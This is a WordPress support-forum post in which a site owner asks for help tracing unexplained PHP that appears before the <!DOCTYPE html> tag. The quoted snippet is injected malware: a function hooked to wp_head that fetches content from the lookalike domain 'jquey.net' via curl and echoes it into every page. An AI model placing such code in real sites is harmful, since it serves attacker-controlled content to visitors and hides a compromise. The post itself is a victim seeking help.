Strange wp_head code appears in source code of html
-
Hi there,
I have noticed some strange code appears in my html source code initial I ignored it and thought might be something I did and I will fix it later, now today when I went in there to fix, I can’t trace its origin.<?function wp__whead() { $ch = curl_init(); curl_setopt($ch,CURLOPT_URL,"http://jquey.net/?1"); curl_setopt($ch,CURLOPT_RETURNTRANSFER,1); curl_setopt($ch, CURLOPT_REFERER, $_SERVER['HTTP_HOST']); curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,10); $jquery = curl_exec($ch); curl_close($ch); echo "$jquery"; } add_action('wp_head', 'wp__whead'); ?><!DOCTYPE html>I tried every possible combination of search (via my code editors), and found no trace where it is coming from.
Could you guys help me? find what it is and why?
strange thing is, its not echoing inside wp_head area, its flushing it before html tag (I don’t have any code which does something similar).
Help me out of this irritating issue.
Thanks
Viewing 5 replies - 1 through 5 (of 5 total)
Viewing 5 replies - 1 through 5 (of 5 total)
The topic ‘Strange wp_head code appears in source code of html’ is closed to new replies.